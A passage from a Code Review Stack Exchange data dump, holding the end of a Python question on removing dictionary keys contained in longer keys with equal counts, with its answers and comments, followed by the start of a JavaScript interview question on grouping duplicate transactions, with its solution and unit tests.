'efk': 5, 'dnf': 8, 'nfe': 5, 'fed': 8, 'edq': 6, 'dqp': 7, 'pzf': 5, 'zfz': 6, 'zod': 5, 'oda': 6, 'dao': 8, 'aod': 9, 'dop': 10, 'dkf': 9, 'kfp': 6, 'fpi': 6, 'aio': 4, 'odd': 9, 'dnp': 6, 'edp': 4, 'piq': 5, 'pjd': 6, 'fkn': 8, 'ifq': 6, 'fqz': 6, 'qzm': 5, 'zmd': 8, 'dkm': 8, 'kmd': 7, 'nei': 4, 'pfk': 4, 'fke': 7, 'knn': 5, 'nnd': 5, 'ndd': 9, 'ddp': 9, 'mom': 4, 'zqm': 4, 'qmd': 5, 'mdf': 5, 'ffz': 7, 'edn': 4, 'odm': 5, 'fpo': 6, 'oqd': 5, 'qdk': 9, 'kdi': 6, 'din': 7, 'qfa': 4, 'faq': 4, 'aqm': 4, 'mnn': 6, 'nnq': 5, 'qdo': 6, 'odi': 7, 'die': 5, 'ezd': 6, 'zdo': 7, 'ofz': 6, 'fzd': 7, 'zdq': 5, 'azd': 5, 'dpa': 7, 'pme': 5, 'mep': 4, 'dqf': 7, 'jzq': 4, 'qzj': 4, 'zjd': 6, 'djj': 6, 'jef': 7, 'efd': 9, 'fdz': 9, 'dzn': 5, 'nia': 4, 'iad': 5, 'zmo': 5, 'moo': 4, 'oon': 4, 'pdj': 5, 'djp': 7, 'pod': 7, 'fdn': 9, 'jpf': 5, 'pfd': 7, 'dpk': 7, 'pke': 6, 'ekk': 4, 'kkf': 8, 'kff': 5, 'fff': 7, 'fon': 6, 'qpd': 4, 'djq': 6, 'qqo': 4, 'qon': 4, 'zfn': 5, 'nke': 4, 'ked': 6, 'eod': 4, 'ode': 7, 'dez': 7, 'ezi': 4, 'imf': 6, 'mpn': 7, 'oqk': 4, 'jfd': 8, 'ifm': 5, 'fdj': 10, 'ffm': 9, 'zzk': 5, 'zkf': 5, 'kfk': 4, 'fka': 4, 'kad': 6, 'adm': 6, 'dmf': 9, 'mff': 6, 'ffn': 5, 'ffe': 6, 'efn': 4, 'nip': 4, 'ipm': 4, 'afd': 10, 'dfm': 8, 'med': 6, 'edf': 7, 'dzd': 8, 'ddk': 9, 'dkj': 4, 'dik': 7, 'ikm': 4, 'kmn': 4, 'jid': 4, 'ido': 6, 'off': 6, 'ffa': 7, 'faa': 4, 'adp': 6, 'mze': 4, 'edz': 4, 'zda': 6, 'aop': 5, 'opo': 4, 'eqd': 6, 'ppe': 4, 'pej': 4, 'jaz': 4, 'epa': 4, 'emj': 4, 'npo': 4, 'poz': 4, 'aaf': 4, 'afk': 4, 'knd': 6, 'dna': 4, 'nqq': 4, 'dnj': 4, 'aff': 5, 'qei': 5, 'idm': 7, 'okp': 6, 'qff': 6, 'epn': 4, 'qjf': 5, 'did': 8, 'odp': 5, 'dpj': 6, 'qkm': 5, 'moj': 5, 'ojd': 5, 'edo': 7, 'dok': 6, 'oki': 4, 'fjd': 8, 'nmz': 4, 'nfn': 4, 'mak': 5, 'dzp': 5, 'kno': 4, 'ozd': 8, 'ddz': 9, 'dzf': 7, 'dej': 5, 'iqf': 4, 'iin': 4, 'ind': 6, 'ndp': 4, 'kzd': 5, 'zdf': 8, 'onf': 5, 'fqd': 8, 'dij': 5, 'mpf': 6, 'ffi': 5, 'ife': 9, 'doo': 7, 'ooe': 4, 'nif': 7, 'ifi': 5, 'ide': 6, 'kdf': 8, 'zfm': 4, 'fmd': 6, 'oai': 4, 'aif': 4, 'ifj': 6, 'fja': 4, 'jai': 5, 'qnd': 6, 'fod': 6, 'fae': 6, 'nkf': 6, 'zno': 5, 'qkd': 5, 'dqn': 5, 'nek': 4, 'kak': 5, 'kid': 6, 'idj': 8, 'dji': 6, 'pni': 4, 'nid': 6, 'idz': 5, 'fmn': 4, 'fpn': 5, 'nad': 8, 'mnd': 6, 'dpp': 6, 'ppd': 6, 'dkp': 4, 'pmj': 5, 'jkq': 4, 'qfk': 4, 'zqd': 7, 'zfj': 6, 'fjm': 4, 'ien': 4, 'nod': 5, 'fzp': 4, 'ina': 5, 'jdz': 5, 'zdi': 8, 'dia': 6, 'ndq': 5, 'fdk': 9, 'kmq': 5, 'jof': 4, 'pfq': 4, 'fqi': 4, 'njz': 4, 'zme': 6, 'mef': 5, 'efi': 4, 'fqf': 5, 'epd': 4, 'pda': 7, 'dmo': 6, 'mod': 6, 'zdm': 4, 'dmm': 4, 'mmo': 5, 'mon': 4, 'oni': 4, 'jdd': 8, 'ddi': 7, 'ffp': 6, 'fjf': 8, 'jfm': 6, 'odk': 4, 'dkz': 8, 'jmf': 4, 'aed': 7, 'dkq': 5, 'qfz': 5, 'mko': 4, 'okn': 5, 'dpo': 6, 'dnd': 8, 'ndo': 7, 'don': 5, 'aan': 5, 'fkq': 4, 'def': 6, 'fnn': 5, 'nnf': 6, 'pjk': 4, 'mfa': 6, 'fao': 5, 'nao': 5, 'aoi': 5, 'naj': 5, 'ied': 7, 'jzo': 4, 'fen': 5, 'iif': 5, 'jnn': 7, 'nne': 6, 'fqa': 5, 'apf': 5, 'aei': 5, 'idp': 7, 'zji': 4, 'jqf': 5, 'eai': 4, 'ijj': 4, 'iao': 6, 'deo': 4, 'ooz': 4, 'ozm': 4, 'oin': 4, 'ndz': 6, 'fje': 4, 'fdo': 6, 'iqd': 6, 'pfj': 4, 'dqm': 6, 'fan': 5, 'zfo': 5, 'ooj': 4, 'fof': 7, 'epj': 4, 'jdi': 7, 'pdo': 8, 'edi': 6, 'ika': 4, 'ajf': 5, 'jfp': 6, 'fpk': 8, 'pka': 4, 'ook': 4, 'pfa': 5, 'fad': 8, 'nqn': 5, 'aqd': 6, 'aee': 4, 'ema': 4, 'fej': 4, 'nfp': 6, 'njf': 5, 'fmo': 4, 'oef': 4, 'qdz': 5, 'zmp': 5, 'ejm': 4, 'jmj': 5, 'mjf': 4, 'jfe': 4, 'dfq': 7, 'pmp': 4, 'ozf': 4, 'zff': 6, 'fmk': 5, 'dae': 7, 'oed': 4, 'zjn': 4, 'kif': 4, 'zna': 5, 'fzf': 5, 'zfd': 7, 'nef': 5, 'efq': 4, 'fqk': 4, 'pmf': 4, 'mfe': 4, 'ond': 7, 'dpn': 6, 'pnf': 6, 'nfz': 4, 'pnk': 5, 'nkd': 6, 'fmm': 5, 'ipd': 5, 'ado': 6, 'oaf': 5, 'qzi': 4, 'adk': 6, 'dqq': 4, 'ada': 5, 'azn': 4, 'znf': 5, 'fii': 6, 'pfo': 5, 'kpf': 4, 'fkk': 4, 'kkd': 5, 'dqk': 4, 'ijk': 5, 'mnz': 5, 'kpd': 6, 'dai': 5, 'aip': 4, 'efa': 6, 'pdi': 5, 'zem': 4, 'emf': 4, 'dza': 5, 'dio': 6, 'iof': 4, 'omi': 4, 'mid': 6, 'daf': 8, 'afp': 4, 'fpe': 6, 'efz': 5, 'ekp': 4, 'pdp': 7, 'zif': 6, 'kjk': 4, 'koo': 4, 'kfe': 5, 'ddj': 6, 'dja': 5, 'mdd': 5, 'djn': 6, 'kem': 4, 'pdn': 5, 'ndn': 4, 'nmf': 4, 'okd': 4, 'kdn': 5, 'znm': 4, 'afi': 7, 'fie': 5, 'eij': 4, 'inn': 4, 'nna': 5, 'nan': 4, 'kqp': 5, 'ndk': 5, 'kmp': 5, 'pmz': 4, 'mzf': 4, 'dfa': 7, 'qmz': 4, 'mzd': 4, 'zfi': 4, 'iid': 4, 'dka': 5, 'qof': 4, 'kpe': 4, 'pkf': 6, 'kqa': 4, 'qaj': 5, 'mfj': 5, 'dki': 4, 'foj': 4, 'knj': 4, 'nzj': 6, 'jpn': 4, 'aie': 5, 'ief': 4, 'qak': 4, 'oof': 5, 'ofi': 4, 'fiq': 4, 'qdn': 6, 'pnz': 4, 'nze': 4, 'zfp': 4, 'nzf': 4, 'nff': 5, 'mfq': 4, 'fqn': 4, 'mdi': 6, 'amm': 6, 'izd': 7, 'kzf': 5, 'jda': 7, 'amo': 4, 'fmi': 6, 'ikf': 4, 'nmn': 5, 'nzd': 6, 'mad': 4, 'adi': 4, 'dip': 7, 'mkk': 5, 'qnn': 4, 'pik': 4, 'ipo': 4, 'nde': 4, 'emp': 4, 'mpk': 4, 'qmj': 5, 'nnk': 5, 'nkm': 4, 'qfm': 5, 'dom': 5, 'ini': 4, 'adf': 5, 'faf': 6, 'djm': 5, 'fai': 4, 'aid': 5, 'idi': 4, 'ajd': 5, 'jdo': 5, 'kpo': 4, 'pfi': 4, 'fmp': 4, 'zqa': 5, 'qoe': 4, 'ikk': 4, 'jqd': 4, 'kmf': 4, 'ofm': 4, 'eii': 4, 'iip': 4, 'iqe': 4, 'qea': 5, 'and': 4, 'mqq': 4, 'kfn': 4, 'mei': 5, 'oja': 4, 'jam': 4, 'mpm': 4, 'iej': 4, 'kkn': 4, 'zde': 4, 'eie': 4, 'fzn': 4, 'zdk': 4, 'eaf': 5, 'fjq': 4, 'mfn': 5, 'mzm': 5, 'qaf': 4, 'nda': 5, 'dpf': 6, 'aoa': 4, 'afq': 4, 'qoj': 4, 'eje': 4, 'ppz': 4, 'znd': 5, 'pjn': 4, 'opn': 4, 'fiz': 4, 'qmf': 4, 'qed': 4, 'kmi': 4, 'aad': 4, 'fkm': 4, 'mdq': 5, 'mjd': 4, 'dke': 4, 'dap': 4, 'pjf': 6, 'mop': 5, 'mpj': 5, 'ofa': 4, 'fem': 4, 'eof': 5, 'pkd': 4, 'pkq': 4, 'qpk': 4, 'dfnd': 5, 'fndf': 4, 'iddd': 5, 'ddda': 6, 'poad': 5, 'mdpd': 4, 'fjkd': 4, 'dfif': 4, 'zpdd': 4, 'ddff': 4, 'dddn': 5, 'dzed': 4, 'fddf': 6, 'djdf': 4, 'fkdd': 4, 'ddfd': 5, 'dfdf': 6, 'fdfe': 4, 'difd': 4, 'dzkd': 4, 'qdfd': 4, 'fdfd': 6, 'dfda': 4, 'doad': 4, 'ijdf': 4, 'dqdd': 6, 'dnfe': 4, 'daod': 5, 'dddm': 5, 'qdqd': 4, 'zddd': 5, 'dddd': 8, 'dddp': 5, 'fdfj': 4, 'jefd': 4, 'fdzn': 4, 'dfdn': 5, 'fdnf': 5, 'fdda': 4, 'dpke': 4, 'mafd': 4, 'dffd': 5, 'dzdo': 4, 'idmd': 4, 'dedd': 4, 'ifed': 4, 'dddk': 5, 'ddkd': 4, 'dkdf': 4, 'dfdd': 5, 'fddp': 5, 'ddpk': 5, 'ndfo': 4, 'efdd': 5, 'nddd': 6, 'dppd': 4, 'dadd': 4, 'ddmo': 4, 'ddqd': 4, 'dqdf': 4, 'ffmd': 4, 'mfan': 4, 'dfdk': 4, 'fdkd': 6, 'oddd': 4, 'didd': 4, 'ddaf': 6, 'ffdd': 4, 'dkmp': 4, 'fdid': 4, 'idnd': 4, 'didp': 5, 'addz': 5, 'kzfd': 4, 'dffm': 4, 'pdfd': 4, 'dddf': 4, 'ofdd': 6, 'fmdp': 4, 'ddkk': 4, 'dndd': 4, 'ddkf': 6, 'fjdf': 4, 'dfpk': 5, 'ndad': 4, 'fddd': 5, 'idfd': 4, 'dfdfd': 4, 'ndddd': 4}
</code></pre>
<p>I would like an implementation in Python 3 that is faster and uses less memory.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:55:49.567",
"Id": "489689",
"Score": "2",
"body": "That dict is tiny, barely any room for improvement. Can you provide code to generate larger dicts representative of your real data? I'm not going to put effort into that only for you to then possibly tell me that your data is totally different and I wasted my time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:07:19.630",
"Id": "489703",
"Score": "0",
"body": "@HeapOverflow, thank you for your comment. I want to assure that your time will not be wasted and your effort will be immensely appreciated. The data is exactly this way, it is the output of some components which I do not have access to. Nevertheless, I requested for larger input and output dictionaries and have edited the question to have larger input dictionary size resulting into larger output dictionary too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:51:59.213",
"Id": "489716",
"Score": "0",
"body": "You turn `{'a': 0, 'ab': 0}` into `{'ab': 0}` but turn `{'ab': 0, 'a': 0}` into `{'ab': 0, 'a': 0}`. Is that really correct?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:49:27.053",
"Id": "489744",
"Score": "0",
"body": "No, it is not correct. \n\nBoth `{'a': 0, 'ab': 0} and {'ab': 0, 'a': 0}`will be into `{'ab': 0}`, as *a* is in *ab*.\n\nDoes this make a difference?"
}
] |
[
{
"body": "<p>You try all pairs and besides comparing the keys, you check whether their values are equal. It's faster to only try pairs whose values are equal, and you can do this by first categorizing by value.</p>\n<pre><code>def filtered(mydict):\n items_for_value = {}\n for item in mydict.items():\n items_for_value.setdefault(item[1], []).append(item)\n\n newdict = {}\n\n for key1, value1 in mydict.items():\n for key2, value2 in items_for_value[value1]: # <= changed line\n if key1 in key2:\n if key1 in newdict:\n del newdict[key1]\n newdict[key2] = value2\n\n return newdict\n</code></pre>\n<p>It's about five times as fast as your original on that larger dictionary (0.7 seconds vs 3.5 seconds).</p>\n<p>Of course this uses <em>more</em> memory, not less.</p>\n<p>Alternative version, categorizing just the keys, which is a bit faster and takes less extra space (but assumes it doesn't matter which of two equal <code>value</code>s we use):</p>\n<pre><code>def filtered(mydict):\n keys_for_value = {}\n for key, value in mydict.items():\n keys_for_value.setdefault(value, []).append(key)\n\n newdict = {}\n\n for key1, value in mydict.items():\n for key2 in keys_for_value[value]:\n if key1 in key2:\n if key1 in newdict:\n del newdict[key1]\n newdict[key2] = value\n\n return newdict\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:06:10.440",
"Id": "489713",
"Score": "0",
"body": "Sorry, forgot that the item tuples might get created just for me. Deleted the sentence."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:15:50.793",
"Id": "489714",
"Score": "0",
"body": "@Peilonrayz It *would* be not that much more if I stored only keys instead of items, right? Far less than double then. I had actually started with that, but then worried about \"equal but not identical\" objects (although if they're just small ints, that should be equivalent)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T16:49:11.890",
"Id": "489715",
"Score": "0",
"body": "The updated form would still double in space worst case - say you have `{'a': 0, 'b': 1}` then you'd make `{0: ['a'], 1: ['b']}` As you can see this contains the same amount of keys as values. We can also see you'll always double the keys, `{'a': 0, 'b': 0}` to `{0: ['a', 'b']}`. So worst case it's still double, but yes you've reduced the amount of memory."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:21:23.760",
"Id": "489724",
"Score": "0",
"body": "@Peilonrayz Not sure what you mean with worst case, but I just tried, `mydict` took 52,982 bytes total and my `keys_for_value` added 5,472 bytes total, that's only 10.3% more."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:25:09.350",
"Id": "489725",
"Score": "0",
"body": "It's unclear what you mean by \"added\" like your function took that much more in total or `keys_for_value` was that big? Additionally the OP's code isn't the worst case."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:34:04.893",
"Id": "489726",
"Score": "0",
"body": "@Peilonrayz \"Added\" meaning sum of the sizes of the objects that I created in my structure (i.e., not double-counting the objects already existing in `mydict` which I'm merely referencing). See [code](https://repl.it/repls/SimilarRemarkableBucket#main.py) (numbers are higher as that's 64-bit Python, I used 32-bit Python). Not sure what you mean with the OP's code not being the worst case. Do you mean their data?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:55:22.833",
"Id": "489732",
"Score": "0",
"body": "[If we just see the size of the objects](https://repl.it/repls/CostlyStingyPdf#main.py), `keys_for_value`'s size is 71392 where `mydict` is 97440. You've added 73% more memory usage. If we change to the worst case, `keys_for_value`'s size is 28865228 where `mydict` is 16491724. You've added 175% more memory usage. So your solution has almost tripled the memory usage."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:04:23.993",
"Id": "489735",
"Score": "0",
"body": "@Peilonrayz Um, so you don't understand how Python uses references? It's not 73% more, it's about 10% more, as you can see with the correct code. And what you show isn't really a \"worst case\" but rather a *fantasy* worst case *for space*. \"fantasy\" because that looks nothing like the OP's data (which has very few different values), and \"for space\" because that's a *best* case for me *time*-wise."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:06:41.000",
"Id": "489737",
"Score": "0",
"body": "Yes worst case is a fantasy "
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:17:31.130",
"Id": "489740",
"Score": "0",
"body": "@HeapOverflow, the `keys_for_value` works fine for me. It doesn't matter which of the two equal `value`s is used because they both represent the same thing. Thank you for both re-implementation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:27:28.313",
"Id": "489743",
"Score": "0",
"body": "@VictorAdeyemo It can perhaps be further improved by categorizing by key length as well. Most of your keys have length 3. And there's no real point in checking whether a key of length 3 contains another key of length 3. So `key2` should only go through keys with the same value *and* which are longer than `key1` (and `key1` itself). This somewhat depends on whether the keys are sorted by length, though, see also my [clarification question](https://codereview.stackexchange.com/questions/249732/finding-unique-keys/249743?noredirect=1#comment489716_249732) above."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:13:46.490",
"Id": "489749",
"Score": "0",
"body": "@HeapOverflow True, it doesn't make sense of check keys of the same length."
}
],
"meta_data": {
"CommentCount": "12",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:47:14.560",
"Id": "249743",
"ParentId": "249732",
"Score": "2"
}
},
{
"body": "<h3>O(n * d^2) solution</h3>\n<p>The original code runs in O(n^2) time. This code runs in O(n d^2) where <em>n</em> is the length of <code>mydict</code> and <em>d</em> is the length of a key. The final code is at the bottom of the post. Here is how I got there:</p>\n<p>First, I had the same idea as @HeapOverflow, but then decided to try another approach. For any key, value in <code>mydict</code>, we can create all the key's substrings and build a dictionary mapping (substring, value) to a list of keys that have that substring and value.</p>\n<pre><code>from collections import defaultdict\n\nd = defaultdict(list)\n\nfor key, value in mydict.items():\n for width in range(1, len(key) + 1):\n for start in range(len(key) + 1 - width):\n subkey = key[start:start + width]\n pair = (subkey, value)\n d[pair].append(key)\n</code></pre>\n<p>The outer loop runs O(n) times and the inner two loops run O(d^2) times for O(nd^2) complexity. The desired result is then those substring, value pairs that can only be generated from one key, value pair.</p>\n<pre><code>newdict = dict(k for k,v in d.items() if len(v)==1 and k[0]==v[0])\n</code></pre>\n<p>For the sample data in the problem, this runs in about 8 ms compared to 85 ms for the original code. However, it uses a lot of memory to store the lists of keys in the dict <code>d</code>. We can reduce the memory by noting that <code>newdict</code> only depends on whether the list of keys has one, or more than one element. The new code only appends a key to the list if the list has one element.</p>\n<pre><code>d = defaultdict(list)\n\nfor key, value in mydict.items():\n for width in range(1, len(key) + 1):\n for start in range(len(key) + 1 - width):\n subkey = key[start:start + width]\n pair = (subkey, value)\n if len(d[pair]) < 2: #### changed code\n d[pair].append(key)\n \nnewdict = dict(k for k,v in d.items() if len(v)==1 and k[0]==v[0])\n</code></pre>\n<p>This uses reduces memory about 60% and runs in about 7.5 ms.</p>\n<p>The next step is to recognize that <code>d</code> has two kinds of entries, those whose value has a length of 1 and those that have a length > 1. Basically, two sets. So let's try using sets: <code>unique</code> holds the unique key-value pairs; <code>subsumed</code> holds subkey-value pairs that would be subsumed by a unique key-value pair.</p>\n<pre><code>subsumed = set()\nunique = set()\n\nfor key, value in mydict.items():\n if key in subsumed:\n continue\n\n unique.add((key, value))\n \n for width in range(1, len(key)):\n for start in range(len(key) + 1 - width):\n subkey = key[start:start + width]\n pair = (subkey, value)\n subsumed.add(pair)\n unique.discard(pair)\n \nnewdict = dict(unique)\n</code></pre>\n<p>This runs in about 6 ms.</p>\n<h3>Final code</h3>\n<p>Lastly, <code>dict.items()</code> returns a view. If the values are hashable, then <code>dict.items()</code> can be used like a set and the code can be simplified to:</p>\n<pre><code>subsumed = set()\n\nfor key, value in mydict.items():\n for width in range(1, len(key)):\n for start in range(len(key) + 1 - width):\n subkey = key[start:start + width]\n pair = (subkey, value)\n subsumed.add(pair)\n \nnewdict = dict(mydict.items() - subsumed)\n</code></pre>\n<p>This runs in about 5 ms.</p>\n<h3>Bug in original code</h3>\n<p>There is a probable bug in both the original code, in that the results depend on the order of iteration of the key-value pairs in <code>mydict.items()</code>. For Python >= 3.7 the order is the same as the insertion order. For earlier versions, the order is undefined or random.</p>\n<p>For example, for both codes:</p>\n<pre><code>mydict = {'a':1, 'aa':1} ==> results in newdict = {'aa':1}.\n</code></pre>\n<p>But</p>\n<pre><code>mydict = {'aa':1, 'a':1} ==> results in newdict ={'aa':1, 'a':1}.\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T08:13:46.093",
"Id": "489788",
"Score": "0",
"body": "Yeah, that's what I commented under the question already. And it's one reason I didn't try further improvements, intentionally keeping the logic as is because the textual task description isn't quite clear to me and there's no guarantee (or *anything* said) about the input order. But I think our codes are correct as long as the keys are sorted by increasing length, which they are in the example data (which should be representative of the real data)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T09:12:06.683",
"Id": "489790",
"Score": "0",
"body": "@HeapOverflow For Python >= 3.7, the codes are okay as long as the keys are inserted in order of increasing length. For Python < 3.7 the order of iteration is arbitrary so there may be errors."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T09:21:25.287",
"Id": "489791",
"Score": "0",
"body": "Ah right, we've had 3.7 for so long now that I usually don't even think about that anymore :-P"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T10:06:27.970",
"Id": "489793",
"Score": "0",
"body": "If we consider the string length in the complexity, then I think we all get another factor d. Copying a substring and computing a string hash aren't O(1)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:31:37.087",
"Id": "489834",
"Score": "0",
"body": "@HeapOverflow, sorry I didn't see you comment about the bug. As for complexity, I was just pointing out that my inner loops are a function of key length, not the number of keys. So the code might not be good for processing a short dictionary with long keys. Another way to look at it is O(n) with the scale factor being a function of d^2."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:44:47.877",
"Id": "489837",
"Score": "0",
"body": "I am just going over the new solution but I need to quickly mention that the order of keys are always in increasing length in the input data `mydict`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T13:35:54.327",
"Id": "490247",
"Score": "0",
"body": "@RootTwo, this solution is fast and take lesser memory as you espoused. The probable bug is also noted but it won't be a problem as the key-value pairs in `mydict` is ordered increasingly.\nI will like to clarify this, I assumed that `d` values varies from 1 to the maximum length of keys in `mydict` and all keys with one item are not considered. Am i correct?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T15:13:08.197",
"Id": "490263",
"Score": "0",
"body": "The first version of the code takes a key such as 'abc' and creates all possible subkeys\" 'a', 'b', 'c', 'ab, 'bc', 'abc'. `d` maps these subkeys to a list of the keys they came from. For example after processing `{'ab':5, 'abc':5}`, 'd' would have an entry `('a',5):['ab', 'abc']`. Run the code on a small `mydict` and then `print(d)` to see what it does."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-07T15:18:58.520",
"Id": "491144",
"Score": "0",
"body": "@RootTwo, I get your explanation now. Concerning the probable bug, sorting `mydict` by key length will resolve that should in case it become inevitable.\n\n`mydict = sorted(mydict.items(), key=lambda i: len(i[0]))`\n\nThis will ensure the key-value pairs are ordered increasingly."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T01:34:09.577",
"Id": "249778",
"ParentId": "249732",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249778",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:29:27.153",
"Id": "249732",
"Score": "2",
"Tags": [
"python",
"performance",
"python-3.x",
"hash-map"
],
"Title": "Finding unique keys"
}
|
249732
|
<p>I had given a coding test for a job which failed. It had two problems and one of them is shared in this question along with my solution and other I already posted at <a href="https://codereview.stackexchange.com/questions/248279/interview-coding-test-transaction-processing-get-balance-by-category-in-given">this link</a>.</p>
<p><strong>Problem:</strong> Find duplicate transactions.</p>
<p><strong>Description:</strong> Usually, due to any technical mistake, a single transaction is recorded twice in the database. Assume the time difference between duplicate transactions is always less than 60 seconds. Duplicate transactions has same values for sourceAccount, targetAccount, category and amount.</p>
<p>This is how a typical transaction looks like:</p>
<pre><code>{
id: 123,
sourceAccount: 'my_account',
targetAccount: 'grocery_shop',
amount: -30,
category: 'groceries',
time: '2018-03-12T12:34:00Z'
}
</code></pre>
<p>Negative value for amount means amount has been spent in that transaction.</p>
<p><strong>Solution Requirements</strong></p>
<ol>
<li>Find the duplicate transactions (there can be more than duplicate two entries for a same transaction)</li>
<li>Group them in arrays. Each array has all the duplicates of a transaction including first transaction record as well. (Let's call it grouped transactions array). Final output will be an array of these grouped transactions array.</li>
<li>Inside each grouped transactions array, all the transactions should be sorted by time at which they were recorded.</li>
<li>Final array should contain the grouped transactions arrays sorted by time of their first elements.</li>
</ol>
<p><strong>General Requirements</strong></p>
<p>Here is what they said they are looking for in my solution:</p>
<blockquote>
<p>This is a coding challenge which tests your coding abilities and to make sure you can present us with <strong>well written</strong>, <strong>well tested</strong> and <strong>not over-engineered</strong> code. We're looking for a <strong>well structured</strong>, <strong>tested</strong>, <strong>simple</strong> solution. As mentioned before the engineering teams work in a TDD environment and code is driven by the testing methodology as we are deploying code on a daily basis. It's a very collaborative environment so there is a lot of pair and mob programming happening which is why the code that is written needs to be able to be <strong>understood by others in your team</strong>.</p>
</blockquote>
<p><strong>My Solution:</strong></p>
<pre><code>let moment = require('moment')
exports.findDuplicateTransactions = function (transactions = []) {
let duplicates = []
transactions.forEach((transaction, index) => {
for (let i=0; i<transactions.length; i++) {
if (index !== i) {
if (isDuplicateTransactions(transaction, transactions[i])) {
if (duplicates.indexOf(transactions[i]) === -1) {
duplicates.push(transactions[i])
}
}
}
}
})
let duplicateTransactionsGroups = groupBy(duplicates, function(item) {
return [item.sourceAccount, item.targetAccount,
item.amount, item.category];
});
let transactionsGroupsMembersSorted = duplicateTransactionsGroups.map(group => {
return group.slice().sort((obj1, obj2) => {
return new Date(obj1.time) - new Date(obj2.time);
})
});
let transactionsGroupsSorted = transactionsGroupsMembersSorted.slice().sort((obj1, obj2) => {
return new Date(obj1[0].time) - new Date(obj2[0].time)
})
return transactionsGroupsSorted
}
const isDuplicateTransactions = function (transaction1, transaction2) {
let date1 = moment(transaction1.time)
let date2 = moment(transaction2.time)
let difference = Math.abs(date1.diff(date2, 'seconds'))
if (transaction1.sourceAccount === transaction2.sourceAccount &&
transaction1.targetAccount === transaction2.targetAccount &&
transaction1.category === transaction2.category &&
transaction1.amount === transaction2.amount &&
difference < 60
) {
return true
}
return false
}
const groupBy = function ( list , f ){
var groups = {};
list.forEach( function( item )
{
var group = JSON.stringify( f(item) );
groups[group] = groups[group] || [];
groups[group].push( item );
});
return Object.keys(groups).map( function( group )
{
return groups[group];
})
}
exports.groupBy = groupBy
exports.isDuplicateTransactions = isDuplicateTransactions
</code></pre>
<p>All the unit tests for this function pass. The summarized feedback of my both solutions was that the code is <em>inefficient</em>.</p>
<p>Here is the detailed feedback to me by those who reviewed my submitted code:</p>
<ul>
<li>Solutions are overall inefficient. Naming convention is good the idea behind some unitary functions is well intended but badly executed. (negative feedback)</li>
<li>Easy to Maintain, (positive feedback)</li>
<li>Easy to Read, (positive feedback)</li>
<li>Advanced Grasp of Language (positive feedback)</li>
<li>Inefficient Solution (negative feedback)</li>
<li>There is actually no need to have two loops for this exercise. But it's well structured and readable. Since it's doing two different things a better result of this approach would have been to have two different functions. (General Feedback)</li>
</ul>
<p>I am understanding part of the feedback. It is overall feedback to both coding problems and I have only presented one of them here. I am not sure to which one the feedback applies. I have published the <a href="https://codereview.stackexchange.com/questions/248279/interview-coding-test-transaction-processing-get-balance-by-category-in-given">first one</a>.</p>
<p>Please let me know what else can be improved in my code and how can I make it efficient. Please give me your complete feedback regarding efficiency, performance etc.</p>
<p>Thank you.</p>
<p>Here are my test cases:</p>
<pre><code>const assert = require("chai").assert;
const { findDuplicateTransactions, isDuplicateTransactions, groupBy } = require('./../transactions2')
describe("findDuplicateTransactions()", function () {
it("returns empty array if there are no transactions", function () {
assert.deepEqual(findDuplicateTransactions([]), []);
});
it("returns empty array if there is only one transaction", function () {
assert.deepEqual(findDuplicateTransactions([{
id: 3,
sourceAccount: 'A',
targetAccount: 'B',
amount: 150,
category: 'other',
time: '2018-03-02T10:34:30.000Z'
}]), []);
});
it("returns empty array if there are no duplicates", function () {
assert.deepEqual(findDuplicateTransactions([{
id: 3,
sourceAccount: 'A',
targetAccount: 'B',
amount: 150,
category: 'other',
time: '2018-03-02T10:34:30.000Z'
},
{
id: 1,
sourceAccount: 'A',
targetAccount: 'C',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:00.000Z'
}]), []);
});
it("returns an array of length 1 if found one group only", function () {
assert.lengthOf(findDuplicateTransactions([
{
id: 3,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:30.000Z'
},
{
id: 1,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:01.000Z'
}
]), 1);
});
it("returns an array of sorted groups of duplicate transactions", function () {
let sourceList = [
{
id: 3,
